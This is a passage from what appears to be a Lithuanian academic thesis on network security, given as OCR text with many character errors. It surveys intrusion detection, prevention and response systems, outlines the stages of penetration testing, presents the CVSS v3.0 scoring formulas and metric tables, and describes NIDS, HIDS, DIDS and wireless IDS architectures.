programy naudojimg (pvz., kirminai, galiniy dury). Taip pat identifikuojami saugumo politikos
pazeidimai (pvz., klienty sistema, teikianti tinklo paslaugas kitoms sistemoms).

IT&T tinklo stebéjimo architektiira bendraja prasme pavaizduota 6 pav. Si stebéjimo architektiira gali
buti tiek centralizuota, tiek decentralizuota.

IT&T tinklo steb¢jimas gali biiti pasyvinis ir aktyvus. Dazniausiai, jeigu jsibrovimo aptikimo sistema
stebi tinklg pasyviniu rezimu, tai ji vadinama IDS, o jeigu jsibrovimo aptikimo sistema stebi tinklg
aktyviu rezimu, tai ji vadinama IPS.

IT&T tinklo stebéjimas gali buti tiek realiu laiku, tiek paskirstytame laike, kai surinkti duomenys yra
analizuojami véliau i§ duomeny bazés.
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6 pav. IT&T tinklo steb&jimo architektiira

ISorinis tinklas

Surinkus duomenis apie stebimg tinkla ar jo dalj ir siekiant identifikuoti jsibrovima, atlickama
duomeny analiz¢. Duomeny analizei atlikti yra naudojamos jvairios metodikos, kurios yra skirstomos
[15]:

- piktnaudziavimo aptikimo (angl. misuse—based detection) (toliau — MD) arba kitaip vadinama
paraso aptikimo (angl. Signature—based Detection) (toliau — SD) metodika [16];

- anomalijos aptikimo (angl. Anomaly—based Detection) (toliau — AD) metodika [17];

- protokolo biisenos analizés (angl. Stateful Protocol Analysis) (toliau — SPA) metodika [18].

Siy metodiky ypatybés yra i$analizuotos darbuose [15-18, 48]. Sios metodikos remiasi jvairiais
aptikimo metodais, kurie iSnagrinéti darbuose [19-27]:

- statistiniu;
- duomeny analizés (angl. Data Mining Based);
- taisykliy laikymosi (angl. Rule based systems);
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- ir hibridiniu metodu, kuris apjungia kelis auks¢iau iSvardintus metodus [14, 28].
Analizuojant atakas galime pastebéti, kad sisteminés ir tinklo ataky pobtidziai skiriasi [14].
Sisteminés atakos yra laikomos:

- vidingés atakos (angl. Insider attack);
- vartotojo pagrindo atakos (angl. User fo root attacks);
- virtualiy jrenginiy atakos (angl. Attacks on virtual machine).

Tinklo atakos yra laikomos:

- srautinés atakos (angl. Flooding attack);
- prievady nuskaitymo (angl. Port scanning);
- galiniy dury atakos (angl. Backdoor channel attacks).

Nezitrint to, kad IDS sistemos placiai naudojamos, jos turi visa eil¢ trikumy. Prie svarbesniy IDS
truikumy galima jvardinti nemoké&jima analizuoti uzsifruotg srauta, pavéluota atnaujinima, laiko tarpa
tarp atakos pradzios ir perspéjimo, sudétingumg apdoroti duomenis perkrautame tinkle. Prie
svarbesniy HIDS trikumy galima jvardinami nemokéjimg atpazinti tinklo skanavimo veiklos,
neefektyvuma DoS ataky metu [20, 26, 29-32]. Kai kurios IDS gali biti santykinai lengvai apeinamos
ar ,,nulauziamos* (pvz., AD ar SD) [31, 33]. Darbe [34] teigiama, kad IDS panaudojimo rezultatas
yra ne visada aiSkus. Taip pat jdomu tai, kad praktiskai tie patys netobulumai egzistuoja jau daug
mety ([29] 2002 metai ir [32] 2015 metai bei [6] 2017 metai) ir net sitilomi nauji metodai (pvz., [30])
nepadeda jy iSvengti.

IPS atlieka keleta tradiciniy uzduociy, kurios santykinai ilgg laikg duodavo neblogy rezultaty [35, 48,
55, 56, 63]. Taciau dabartingje situacijoje tradiciniy IPS sistemy panaudojimas tampa problemiskas
del keliy priezasCiy [35]:

- gaisties laikas (angl. Latency): IPS privalomai reikalauja kontrolés ir blokavimo veiksmy
kiekvienam tinklo paketui, kuris naudoja debesy kompiuterijos resursus ir padidina aptikimo
gaisties laika;

- iStekliy vartojimas (angl. Resource Consumption): veikiancios IPS paprastai sunaudoja daug
iStekliy;

- nelankstus tinklo perkonfigtravimas (angl. Inflexible Network Reconfigurations): tradicinés
IPS neturi tinklo programavimo galimybiy tiek norint perkonfigiiruoti virtualiojo tinklo
sistemas tiek ir atlikti rySio kontrole ir valdyma.

Vykdant atsakomuosius veiksmams prie$ piktavalius naudojama IRS [36-39, 41, 42, 57, 58]. IRS
btna pasyvi ir aktyvi, priklausomai nuo reagavimo tipo: jei reagavimas vyksta automatiskai, tai
turime aktyvig IRS, jei reagavimas vyksta praneSimais (angl. notification) ar rankiniu biidu, tai turime
pasyving sistemg [36, 37].

Siuo metu pakankamai pladiai naudojama ir ekspertiné audito sistema (angl. Audit Expert System)
[38]. Taciau neziiirint visy teigiamy savybiy, kurias turi tokia sistema, jos vis délto turi ir pakankamai
daug trukumy, kurie iSnagrinéti darbuose [36—41]. Vienas i§ didesniy trikumy, kuriuos pazymi
ekspertai, yra tai, kad tokios sistemos jautrios pazeidimams, nes yra santykinai statinés (ypac tai
pasakytina apie IRS). Kiti dideli trikumai yra tokiy sistemy aktyvavimas tik pastebéjus incidentg [42]
ar didelis klaidingy reagavimy kiekis, kuris tiesiogiai priklauso nuo IDS kokybés. Taip pat yra ir

21



daugiau trilkumy, bet jie labiau susij¢ ne su reagavimu j atakas, bet  sistemos ,,sveikg btiseng* (angl.
healthy state), kurig gali jtakoti IRS panaudojimas ar nepanaudojimas ar tinkamos aparatinés jrangos
(angl. hardware) naudojima [3].

Kaip rodo darby apzvalga, Siuo metu egzistuojancios priemonés ir metodai neleidzia efektyviai kovoti
su gresmémis kibernetinéje erdvéje. Viena i tokios neefektyvios kovos priezasciy tai, kad paprastai
esancios sistemos (IDS, IPS ir IRS) pradeda kovoti tik tada, kai ataka jau vyksta ar net jvyko. Kita
priezastis yra programinés jrangos atnaujinimo vélinimas bei galimybé apeiti ar ,,nulauzti* tokias
sistemas, nes kartais informaciniy sistemy gamintojai palieka saugumo spragas.

1.5 Tinkly saugos jvertinimo problematika

Nagrin¢jant IT&T saugos vertinimg [44, 46, 47] atkreipiamas démesys, kad didziausias prioritetas
skiriamas kritiniy sistemy ir sistemy, kuriuose yra saugomi jautriis duomenys pazeidziamumy
jvertinimui, o taip pat IT&T tinkle naudojamy saugos sistemy jvertinimui.

Galima pastebéti, kad atliekant IT&T tinklo saugos vertinima, visos sistemos suskirstomos | tris
grupes [59]:

1. Balta, tai toks IT&T tinklas, apie kurj yra i§sami informacija;
2. Pilka, tai toks IT&T tinklas, apie kurj yra dalin¢ informacija;
3. Juoda, tai toks IT&T tinklas, apie kurj yra nedaug informacijos ir reikalinga atlikti Zvalgyba.

Galima pastebeti, kad norint atlikti IT&T tinklo saugos vertinimg reikalinga atlikti IT&T tinklo
jsilauzimo testus, kuris atlickamas tokiais etapais:

1. Zvalgyba:

1.1. VieSosios informacijos surinkimas, siekiant suzinoti kuo jmanoma daugiau apie vertinimui
pasirinkto tinklo veikla;

1.2. Techniniy duomeny nuskaitymas, siekiant suzinoti techninius apie tinkla pvz. prievadus,
naudojamus protokolus.

2. Tiksliniai patikrinimai, kurie sudaromi po gautos informacijos i§ zZvalgybos metu surinktos
medziagos:ISoriniai patikrinimai, kurie skirti patikrinti saugos sistemy biikle, iSoriniy serveriy ir
1Sor¢je veikianCiy saugos sistemy ir aplikacijy bikle, elektroninio pasto veiklg, DNS serverio
bukle, VPN veiklg ir pan.;

2.2. Vidiniai patikrinimai, kurie skirti patikrinti saugos sistemy ir duomeny baziy konfigtiravima,
informaciniy sistemy atnaujinima, slaptazodziy politika ir jy naudojima ir pan.

3. Zmogi$kojo faktoriaus patikrinimai:

3.1. Panaudojant socialing inzinerijg atlikti testus skirtus jsitikinti, ar darbuotojai moka saugiai
naudotis informacija bendraujant telefonu, elektroniniu pastu, Internete;

3.2. Saugos politikos perziiira, siekiant jsitikinti, ar yra laikomasi tam tikry saugos politikose
nurodyty taisykliy, t. y. ar darbuotojai laikosi saugaus slaptazodzio sudarymo bei jo saugojimo
taisykliy;

3.3. Darbo viety patikrinimas, siekiant jsitikinti, ar darbuotojai saugiai naudoja jautrig informacija,
nepalieka vieSai matomose vietose prisijungimo duomeny.

Visi IT&T tinkly pazeidziamumai yra klasifikuojami [45] ir registruojami | duomeny bazes. Bendra
Siy pazeidziamumy vertinimo metodika yra apraSyta ITU rekomendacijoje ITU-T X.1521
»Pazeidziamumo vertinimo sistema‘ ir pavaizduota 7 pav.
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[ -

PaZeidZiamumo  vektoriaus
reik§mé eilute

Aplinkos {CR, IR, AR}

Laikini (E, RL, RC)

Naudingumo {AV, AC, PR, Ul}
Poveikio (C, I, A), S

Aplinkos

Pagrindiniai

rodikliai Sl rodikliai
\ Papildomi rodikliai j

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

7 pav. Bendra pazeidziamumo vertinimo metodika

Si rekomendacija yra pasaulinis nemokamas ir atviras IT&T pramonés standartas, skirtas jvertinti
kompiuterinés sistemos saugumo spragy rimtumg. Reagavimo i incidentus ir saugumo komandos
forumas (angl. Forum of Incident Response and Security Teams) naudoja §] standartg. Visi
pazeidziamumy matavimai pagal esmines ir fundamentalias pazeidziamumy charakteristikas
grupuojami i Sias grupes [43]:

1. Pagrindinis rodiklis, kuris nekinta laike ir vartotojo aplinkoje:

1.1. Naudingumo rodiklis, kuris atspindi paprastas ir technines priemoniy charakteristikas, kurias
galima pavadinti pazeidziamumo komponentu, kurio pazeidZiamumo savybés gali biiti
s¢kmingai panaudotos kibernetinio iS§puolio metu:

1.1.1. Atakos vektoriaus (angl. Attack vector) rodiklis (AV), kuris atspindi biida, kuriuo yra
jmanoma panaudoti pazeidziamuma;

1.1.2. Sudétingos atakos (angl. Attack Complexity) rodiklis (AC), kuris apraSo salygas, prie
kuriy galima panaudoti pazeidZziamuma;

1.1.3. Reikalingos privilegijos (angl. Privileges required) rodiklis (PR), kuris apibiidina
privilegijy lygj, kuriuos piktavalis turi turéti, norint s€kmingai iSnaudoti pazeidziamuma;

1.1.4. Naudotojo sasajos (angl. User interaction) rodiklis (UI), kuris jvertina vartotojo, kuris
néra piktavalis, dalyvavima, siekiant panaudoti pazeidziamuma,

1.1.5. Srities (angl. Scope) rodiklis (S), kuris jvertina galimybes panaudoti programinés

irangos komponentus nepriklausomai nuo priemoniy ir privilegijy;

1.2. Poveikio rodiklis, kuris atspindi paveikto komponento savybes, bei kuris yra tiesiogiai ir
nuspéjamai susije¢s su ataka ir veikia blogiausiu scenarijumi:

1.2.1. Konfidencialumo poveikio (angl. Confidentiality impact) rodiklis (C), kuris rodo
s¢kmingai iSnaudoto pazeidziamumo poveikj informaciniy iStekliy konfidencialumui;

1.2.2. Vientisumo poveikio (angl. Integrity impact) rodiklis (I), kuris parodo poveikj
informacijos teisingumui ir patikimumui, s€kmingai panaudojus pazeidziamuma;

1.2.3. Prieinamumo poveikio (angl. Availability impact) rodiklis (A), kuris parodo galimybes
prieiti prie paveikty komponenty tokiy kaip internetas, duomeny bazé, el. pastas ir pan., siekiant
s¢kmingai panaudoti pazeidziamuma.

2. Laikinis rodiklis, kuris kinta laike, bet ne tarp vartotojo aplinky, ir parodo esamg techniniy ir
programinés jrangos biikle:Kodo panaudojimo brandos (angl. Exploit code maturity) rodiklis
(E),kuris parodo galimybes panaudoti esama programini koda, siekiant sékmingai panaudoti
pazeidZziamuma;
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2.2. Atstatymo lygio (angl. Remediation level) rodiklis (RL), kuris jvertina diegiamy atnaujinimy

bikle;

2.3. Ataskaity pasitikéjimo (angl. Report confidence) rodiklis (RC), kuris parodo pasitikéjimo laipsni

zinomiems pazeidziamumames;

3. Aplinkos rodiklis, kuris yra susijgs ir unikalus konkrecioje vartotojo aplinkoje ir jgalina
pazeidziamumo vertinimo sistemos balus pakoreguoti priklausomai nuo IT&T svarbos. Sj rodiklj
sudaro saugumo reikalavimy (angl. Security requirements) rodiklis, kuris vertina paveikto IT&T
turto vartotojo organizacijai, konfidencialumo (CR), vientisumo (IR) ir prieinamumo (AR)
aspektais, o taip pat visais pagrindiniy naudingumo rodikliy atvejais.

Galima pastebéti, kad pagal ITU rekomandacijag [43] vertinant pazeidziamumus, kiekvienas
pazeidziamumas yra jvertinamas ir jam suteikiama CVSS reikSmé. Pazeidziamumo vertinimo
skaiciavimai [43] atliekami jvertinius kiekvieno pamatuoto rodiklio (pagrindinio, laikinio, aplinkos)
reikSmes nuo 0 iki 10 ir kiekvieno i§ Siy rodikliy galutinis vertinimas pateikiamas susiejus su
kokybiniais vertinimais, aprasytais 1 lentel¢je, t. y. kuo aukStesné reikSme tuo pazeidziamumas yra
didesnis.

1 lentelé. Kokybiy svoriy vertinimo lentelé

Vertinimas Ivertis
Jokio 0,0
Zemas 0,1-3,9
Vidutinis 4,0-6,9
Aukstas 7,0-8,9
Kritinis 9,0-10,0

Pagrindinio rodiklio skaifiavimas susideda i§ naudingumo ir poveikio rodiklio funkcijos
apskaiciavimo. Jeigu poveikio rodiklis (ISC) yra maziau arba lygus 0, tai pagrindinis rodiklis (BS)
yra lygus nuliui. Pagrindinis rodiklis skaiiuojamas pagal (1) formulg jeigu srities rodiklis yra
nepakites, o jeigu srities rodiklis yra pakitgs, tai pagrindinis rodiklis skai¢iuojamas pagal (2) formulg.
Srities rodiklio pasikeitimas vertinamas taip, kad jeigu IT&T komponentai buvo vienoje jstaigoje, o
po to visi ar dalis IT&T komponenty buvo perduoti prizitréti kitai jstaigai, tai laikoma, kad pasikeité
srities rodiklis. Apvalinimas vykdomas j didesn¢ pusg¢ t. y. jeigu reikSmé yra 4,02 tai po apvalinimo
reikSmé bus 4,1.

BS = Apvalinimas(Min[[(ISC + ESC,10)]) , (1)
BS = Apvalinimas(Min[1,08 * (ISC + ESC,10)]) . ()

Poveikio rodiklis (ISC) skai¢iuojamas pagal (3) formule jeigu srities rodiklis yra nepakites, o jeigu
srities rodiklis yra pakites tai naudingumo rodiklis skaic¢iuojamas pagal (4) formule.

ISC = 6,42  ISCy , (3)
ISC = 7,52 * [ISCy — 0,029] — 3,25 * [ISCz — 0,02]5, (4)
Sia: ISC=1—-[1-C)«(1-D=x(1-A4)]. (5)

Naudingumo rodiklis (ESC) skai¢iuojamas pagal (6) formulg:
ESC = 8,22 x AV x AC x PR x Ul . (6)
Laikinis rodiklis (TS) skai¢iuojamas pagal (7) formule:
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TS = Apvalinimas(BS = E = RL « RC) (7)

Jeigu modifikuoto poveikio rodiklis (MISC) yra maziau arba lygus 0, tai aplinkos rodiklis (ES) yra
lygus nuliui. Aplinkos rodiklis skai¢iuojamas pagal 8 formule¢ jeigu modifikuotos srities rodiklis yra
nepakites, o jeigu modifikuotos srities rodiklis yra pakites tai pagrindinis rodiklis skai¢iuojamas pagal
9 formule.

ES = Apvalinimas (Apvalinimas(Min[(MISC + MTS,10)]) = E * RL * RC) , (8)
ES = Apvalinimas (Apvalinimas(Min[[1,08 x (MISC + MTS,10)]) = E =« RL * RC) . 9)

Modifikuoto poveikio rodiklis (MISC) skai¢iuojamas pagal 10 formulg jeigu modifikuotos srities
rodiklis yra nepakites, o jeigu modifikuotos srities rodiklis yra pakites tai modifikuoto poveikio
rodiklis skai¢iuojamas pagal 11 formule.

MISC = 6,42 * ISCy; , (10)
MISC = 7,52 * [ISCy; — 0.029] — 3,25 = [ISC,, — 0,02]*> , (11)
¢ia: ISCyy = MIN[1 — [(1 — MC * CR) x (1 — MI xIR) x (1 — MA = AR)],0,915] . (12)
Modifikuotas laikinis rodiklis (MTS) skai¢iuojamas pagal 13 formule.
MTS = 8,22 x MAV * MAC * MPR « MUI . (13)
Pazeidziamumo matavimy reikSmeés pagal pazeidziamumo rodiklius apraSytos 2 lenteléje.

2 lentelé. PazeidZziamumo matavimy reikSmés

Rodiklis Rodiklio reik§mé Skaitiné PazeidZiamumo apraSymas
reik§mé
Atakos vektorius (AV) /| Tinklas (N) 0,85 Susije su tinklo prieigos priemonémis.
Modifikuotos atakos | Gretimas tinklas (A) 0,62 Susij¢ su gretimo tinklo prieigos priemonémis.
vektorius (MAV) Lokalus (L) 0,55 Susije su lokalaus tinklo prieigos priemonémis.

Fizinis (P) 0,2 Susij¢ su fiziniu prisilietimu prie [T&T
komponenty.

Sudétingos atakos (AC) / | Zemas (L) 0,77 Specializuoty prieigos salygy néra.

Modifikuotos  sudétingos | Aukstas (H) 0,44 Yra specializuotos prieigos salygos.

atakos (MAC)

Reikalingos  privilegijos | Néra (N) 0,85 Autorizuotos prieigos prie nustatymy ar faily néra.

(PR) /  Modifikuotos | Zemas (L) 0,62 /0,68 | Uztenka baziniy ziniy, kad turétum prieiga prie

reikalingos privilegijos nustatymy ar faily.

(MPR) Aukstas (H) 0,27/0,5 | Reikia turéti rimta autorizavimg, kad pasiekti
nustatymus ar failus.

Naudotojo sasajos (UI) / | Néra (N) 0,85 Galima uzvadyti sistemg be jokios vartotojo

Modifikuotos  naudotojo $352j0s.

sasajos (MUI) Biitina (R) 0,62 Galima sistema pasiekti tik po programinés
jrangos suinstaliavimo, kurj gali atlikti tik
administratorius.

Poveikio (C, I, A) /| Aukstas (H) 0,56 Tiesiogiai galima pasiekti visa slapta informacija,

Modifikuotas poveikio visiSkai sutrikdyti vientisuma, galima sukurti

(MC, MI, MA) naujy sarysiy.

Zemas (L) 0,22 Galima gauti tam tikrg slapta informacija, galima
modifikuoti  duomenis, bet  nesutrikdyti
vientisumo, néra galimybés sutrikdyti paslauga
legaliems vartotojams.

Jokio (N) 0 Néra pazeidziamas konfidencialumas,
neprarandamas vientisumas, prieinamumas.
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Kodo panaudojimo branda | Neapibrézta (X) 1 Naudojama, kai nenorima vertinti Sios reikSmeés.
(E) Aukstas (H) 1 Kodo panaudojimas yra placiai prieinamas.
Funkcionalus (F) 0,97 Kodo panaudojimas yra galimas.
Koncepcinis (P) 0,94 Kodo panaudojimas yra galimas, bet ne visuose
komponentuose.
Nepatvirtintas (U) 0,91 Néra jokio kodo panaudojimo galimybés arba ji
yra teoring.
Atstatymo lygis (RL) Neapibréztas (X) 1 Naudojama kai nenorima vertinti $ios reikSmes.
Nepasiekiamas (U) 1 Néra jdiegto sprendimo.
Apé¢jimai (W) 0,97 Yra neoficialiis sprendimai.
Laikini  iStaisymai 0,96 Yra oficialis, bet laikini sprendimai.
(M
Oficiallis iStaisymai 0,95 Yra oficialts sprendimai.
©)
Ataskaity pasitikéjimas | Neapibréztas (X) 1 Naudojama, kai nenorima vertinti Sios reikSmes.
(RC)
Patvirtintas (C) 1 Yra iSsamios ataskaitos ir iSeities kodai.
Protingas (R) 0,96 Yra iSsamios ataskaitos, bet néra prieigos prie
iSeities kody.
Nezinoma (U) 0,92 Yra ataskaitos, bet joje rasoma, kad
pazeidziamumy néra.
Saugumo reikalavimy (CR, | Neapibréztas (X) 1 Naudojama, kai nenorima vertinti §ios reikSmés.
IR, AR)
Aukstas (H) 1,5 Gali turéti katastrofisky pasekmiy.
Vidutinis (M) 1 Gali turéti rimty pasekmiy.
Zemas (L) 0,5 Gali turéti riboty pasekmiy.

Pazeidziamumo matavimy reikSmés atspinti IT&T pazeidZiamumy spragy rimtuma.
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2. Kibernetinés saugos architektary analizé
Siame skyriuje bus analizuojamos IDS, IRS ir IPS sistemy naudojamos architektiiros ir metodikos.
2.1 Isilauzimo aptikimo sistemy architektiiros analizé

Siandien tinklai auga labai sparéiai. Internetas, kuris jungia kitus tinklus, leido Zmonéms prisijungti
prie informaciniy istekliy, kuriuos jie nori panaudoti kasdieninéms ar darbo funkcijoms, tuo biidu
uztikrinant bet kokj rysj bet kuriuo metu. Taciau tuo paciu metu yra piktavaliy, ieSkanciy potencialiy
pazeidziamy tinklo viety, kuriuos jie gali iSnaudoti pazeidziamumus dél naudos. ISanalizuosime
galimas IDS architektiiras, kad biity galima susidoroti su jvairiomis atakomis.

2.1.1 Tinklo jsilauzimo aptikimo sistemy architektiiros analizé

Analizuojant NIDS architektiirg visy pirma reikéty apzvelgti stebéjimo informacijos specifikg bei
naudojamus jutiklius.

Galime pastebéti, kad kai vartotojas perduoda duomenis per tinklg, kiekvienas TCP / IP tinklo lygis
prie iy duomeny prideda informacija, kuri susideda i§ sekan¢iy komponenty [48]:

1. Aplikacijos lygio (angl. Application Layer), kuriame siun¢iami duomenys tarp aplikacijy serverio
ir kliento, pvz. Interneto svetainés serverio ir Interneto svetainés narSyklés, panaudojant HTTP ir
naudojantis tokiais protokolais, kaip DNS, SMTP, FTP, SNMP;

2. Transportinis lygio (angl. Transport Layer), kuris atsakingas uz paketiniy duomeny perdavimag
tarp pagrindiniy (angl. host) mazgy ir kuris gali pasirinktinai uZztikrinti rySio patikimuma.
Dazniausiai naudojami TCP ir UDP protokolai. Kiekvienas paketas i§ paminéty protokoly
naudoja siunc¢iamo ir gaunamo prievady numerius;

3. TP lygio arba tinklo lygio (angl. Network Layer), kuris marsrutizuoja paketus tinkle. Dazniausiai
naudojami protokolai IPv4 ar IPv6, kurie yra pagrindiniai TCP / IP tinklo protokolai, o taip pat
interneto valdymo praneSimy (angl. Internet Control Message Protocol) ir interneto grupiy
valdymo (angl. Internet Group Management Protocol) protokolai;

4. Aparatinés jrangos lygio (angl. Hardware Layer) arba duomenu perdavimo lygio (angl. Data
Link Layer), kuris skirtas tvarkyti fizinio tinklo komponenty rySius jskaitant kabelius,
marSrutizatorius, komutatorius ir tinklo sasajos ploksStes (angl. network interface cards).
Dazniausiai naudojamas Ethernet protokolas, kuris naudoja unikaly jrenginio identifikatoriaus
adresg (angl. media access control).

Galime pastebéti, kad norint atlikti tinklo, jo srauto ar atskiry jrenginiy steb&jimag bei analizuoti gautg
informacijg NIDS naudoja $iy tipy jutiklius [48]:

1. Aparatinius (angl. appliance—based sensor), kurie yra specializuotai pritaikyti surinkti
informacijg 1§ specializuoty jrangos komponenty, jskaitant tinklo sgsajy korteliy (toliau — NIC)
informacijg. Jie dazniausiai turi ir specializuotg programing jrangg prie kurios administratoriai
neturi prieigos;

2. Programinius, kurie neturi aparatinés jrangos dalies ir gali buti sudiegti ] mazgus, kurie atitinka
reikalavimus.

27



Taip pat galima pastebéti, kad NIDS architektiira priklauso nuo to, kaip NIDS jutikliai yra
pajungiami. Galimi tokie NIDS jutikliy pajungimo biidai bei NIDS architektiira [48, 49]:

1. Integruota (angl. Inline), kurios pajungimo schema pavaizduota 8 pav. Tokia NIDS architekttra
gali sustabdyti iSpuolius, uzblokuodami tinklo srautg. Tokioje architektiiroje naudojamos tinklo
atSakos (angl. Test Access Point), kurios leidZia turéti tinklo kopija per sujungima tarp jutiklio ir
fizinio tinklo, jskaitant optinj kabelj. Sios NIDS architektiiros triikumas yra tas, kad galimas tinklo
greitaveikos sumazéjimas, nes visas tinklo srautas yra pajungtas per jutiklius.

Marsrutizatorius

Komutatorius

Ugniasiené

Valdymo
komutatorius

Valdymo
interfeisas

IDS jutiklis

.| ewwww
Komutatorius | wvwwww

IDS valdymo serveris IDS konsolé

8 pav. Integruota NIDS architektiira

2. Pasyvi, kurios pajungimo schema pavaizduota 9 pav. Tokia NIDS architektiira gali stebéti tinklo
srauto kopijg ir taip nejtakojant j pagrindinio tinklo kokybés parametrus. Naudojant tokig
architektiira galima stebéti tinklg pagrindinése tinklo vietose. Tokioje architekttiroje naudojami
jungiamieji prievadai (angl. Switch Port ANalyser), kuris leidzia stebéti tinklo srautg einantj per
komutatoriy. Sios NIDS architektiiros triikumas yra tas, kad galimas tinklo, kad yra galimas tinklo
ry$io praradimas kai yra jrengin¢jama tinklo atSaka.
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IDS apkrovos islyginimo jrenginys

m IDS jutildis

IDS jutiklis

rwwww Valdymo

Komutatorius [———|swwwes X} |e=ew=s komutatorius

IDS valdymo serveris IDS konsolé

9 pav. Pasyvi NIDS architektiira

Misri, kurios pajungimo schema pavaizduota 10 pav. Tokia NIDS architektiira gali sustabdyti
iSpuolius, uzblokuodami tinklo srautg ir stebéti tinklo srauto kopijg ir taip nejtakojant |
pagrindinio tinklo kokybés parametrus. Tokioje architektiiroje naudojami ir jungiamieji
prievadai, kurie leidzia stebéti tinklo srauta einant] per komutatoriy, ir tinklo atSakos, kurios
leidzia turéti tinklo kopija per sujungima tarp jutiklio ir fizinio tinklo, jskaitant optinj kabelj, taip
pat gali biiti naudojamas IDS apkrovos iSlyginimo jrenginys, kuris leidZia paskirstyti tinklo srauto
kopijos apkrova i$ tinklo atSakos j skirtingus jutiklius pagal uzduotus parametrus tokius kaip IP
adresas, pagal protokolus ar kitus parametrus.

IDS apkrovos i$lyginimo jrenginys

Marsrutizatorius

------

Tinklo atsaka

A ETTE
Komutatorius [~ wwwrww

ungiamasis
prievadas

: TTiiz TIziz Valdymo
Komutatorius || www== komutatorius

IDS jutiklis

IDS konsolé

IDS valdymo serveris

10 pav. Misri NIDS architektiira
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2.1.2 Tinklo funkcionavimo analizés architektiiros analizé

Analizuojant tinklo funkcionavimo analizés (angl. Network Behavior Analysis) architektiirg (toliau —
NBA) galime pastebéti, kad yra naudojama misri NIDS architektiira [53], kuri pavaizduota 10 pav.
Skirtumas tarp misrios tinklo funkcionavimo analizés architektiiry ir yra tas, kad funkcionavimo
analizés architektiiros metu surinkus srauto duomeny informacija vykdoma elgsenos modeliy analizé.
Taip galima identifikuoti susijusius tinklo elementus, kurie pagal savo elgseng vykdo tam tikras
piktybiskas veiklas (pvz., identifikuojant kompiuteriy zombiy tinklus (angl. botnet) ir pan.). Atliekant
minéty surinkty duomeny analize yra naudojamas, pvz., MINDS metodas [52], kuris pavaizduotas 11
pav.

Valdymo
komutatorius

IDS konsolé

IDS valdymo serveris

11 pav. Tinklo funkcionavimo analizés MINDS metodo panaudojimas
2.1.3 Mazgy jsilauzimo aptikimo sistemy architektiiros analizé

Analizuojant HIDS architektiirg galime pastebéti, kad dazniausiai yra naudojamas serverio—agento
modelis, kuris pavaizduotas 12 pav. Naudojant $ig architektiirg pagrindinis serveris gauna informacija
i$ agenty, kurie yra idiegti analizuojamose informacinése sistemose, ir jg analizuoja. Jeigu yra stebima
daug aplikacijy, tai gali buti naudojama paskirstyta infrastruktiira bei centralizuotas serveris, o taip
pat gali buiti galimybé keisti agenty parametrus i centrinés konsolés [48].

Aplikacija Aplikacija

Agentas ! I E Agentas
Internetas/
vidinis tinklas

IDS konsolé

IDS valdymo serveris

12 pav. HIDS architekttira

30



2.1.4 Paskirstyty isilauzimo aptikimo sistemy architektiiros analizé

Analizuojant DIDS architektiirg galime pastebéti, kad tokios architektiiros naudojimas pasirenkamas
tada, kai yra didelis ir sudétingas tinklas. Prie tokiy tinkly priskiriami telekomunikacijy operatoriy
tinklai arba tokie tinklai kai reikia stebéti daug nutolusiy tinklo elementy tokiy, kaip pvz. SCADA
(angl. Supervisory Control and Data Acquisition) sistemos, protingy namy ar daikty interneto
jrenginiy stebéjimui ir pan. [18, 23]. Naudojant DIDS architektiirg, kuri pavaizduota 13 pav.
Informacijos surinkimui yra naudojami Sie komponentai [51]:

1. Agentai, kurie turi savo apibréztas sarankos sritis (angl. Inferests) tokias, kaip lokali, domeno,
korporatyving, tiesioginé ar paveldéta. Agentai skirstomi | sekancius lygmenis:

1.1. Lokaliis arba pagrindiniai agentai (angl. Local Agents arba Basic Agents), kurie skirti surinkti

siaurg, specializuotg informacijg ir pateikti ja darbo stociy agentui;

1.2. Darbo stociy agentai (angl. Workstation Coordinator Agents), kurie yra skirti palaikyti rysj tarp
lokalaus agento ir domeno agento identifikuojant ir perduodant domeno agentui aukstesnio
prioriteto perspé€jimus arba kitam darbo stoCiy agentui pagal paskirstytas sritis;

1.3. Domeno agentai (angl. Domain Coordinator Agents), kurie yra skirti perspéjimy apsikeitimo
uztikrinimui tarp Darbo stoCiy agenty ir Domeno agenty, nes zino kiekvieno jy paskirtas sritis ir
taip pat skirtas palaikyti rySj tarp Domeno agento ir korporatyvinio agento;

1.4. Korporatyvinis agentas (angl. Enterprise Coordinator Agent), kuris yra vadovaujantis Domeno
agentams ir skirtas perspéjimy apsikeitimo uZztikrinimui tarp Domeno agenty pagal sritis;

1.5. Saugumo politikos valdymo agentas (angl. Security policy Manager Agent), kuris yra skirtas
valdyti saugumo politikg nurodant agenty vaidmenis, atsakomybeg bei veiksmus, nusakancius kas
ka turi daryti esant vieniems ar kitiems jvykiams ar perspé¢jimams;

2. Registrai, kurie yra skirstomi j du pagrindinius tipus:2.1. Agenty registras (angl. Agent Registry),
kuris skirtas kaupti informacijg apie agentus, kurie yra paleisti mazge, apie jo kaupiamus jvykius
(angl. events) ir generuojamus pranesimus (angl. alerts);

2.2. Sgranky registras (angl. Interest Registry), kuris skirtas kaupti informacijg apie agenty duomeny

surinkimo sritis, jy rysius.

Lokalus agentas

Saugumo politikos valdymo agentas

13 pav. DIDS architekttira
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2.1.5 Belaidzio tinklo jsilauzimo aptikimo sistemy architektiiros analizé

Analizuojant WIDS architekttirg galime pastebéti, kad belaidj tinklg sudaro sekantys tinklo jrangos
komponentai [50]:

1.

Galiniai jrenginiai, daZniausiai tai neSiojami kompiuteriai, mobiliis telefonai ir kiti jrenginiai,
turintys jranga, palaikancig IEEE 802.xx standarta;

Prieigos taskai, kurie skirti sujungti galinius jrenginius su tinklo perdavimo sistemomis per
bevielio rysio tinklus. Dazniausiai tai yra bevielio tinklo bazinés stotys;

Prieigos komutavimo (agregavimo) taskai, kurie skirti palaikyti rySy tarp prieigos tasky ar / ir
baziniy stoCiy. Jie gali biti keliy lygmeny (pvz. rajoninis, regioninis).

Galima pastebéti, kad naudojant WIDS architektiira, kuri pavaizduota 14 pav., informacijos
surinkimui yra naudojami Sie komponentai [50]:

1.

Saugumo politikos valdymo taskas (angl. Base Policy Decision Point), kuris skirtas valdyti
saugumo politikg apraSant jsibrovimo taisykles, siekiant jvertinti gauta informacijg ir atlikti jos
analizg;

Regioniniai agentai (angl. Regional Policy Agent), kurie skirti surinkti apibréztg reikalinga
informacija i§ lokaliy agenty, ja identifikuojant ir perduodant pagrindiniam taskui aukStesnio
prioriteto perspé€jimus;

Lokalus agentai (angl. Local Policy Agent), kurie skirti surinkti apibréztg reikalingg informacija
18 jutikliy, ja identifikuojant ir perduodant regioniniam agentui aukstesnio prioriteto perspéjimus;
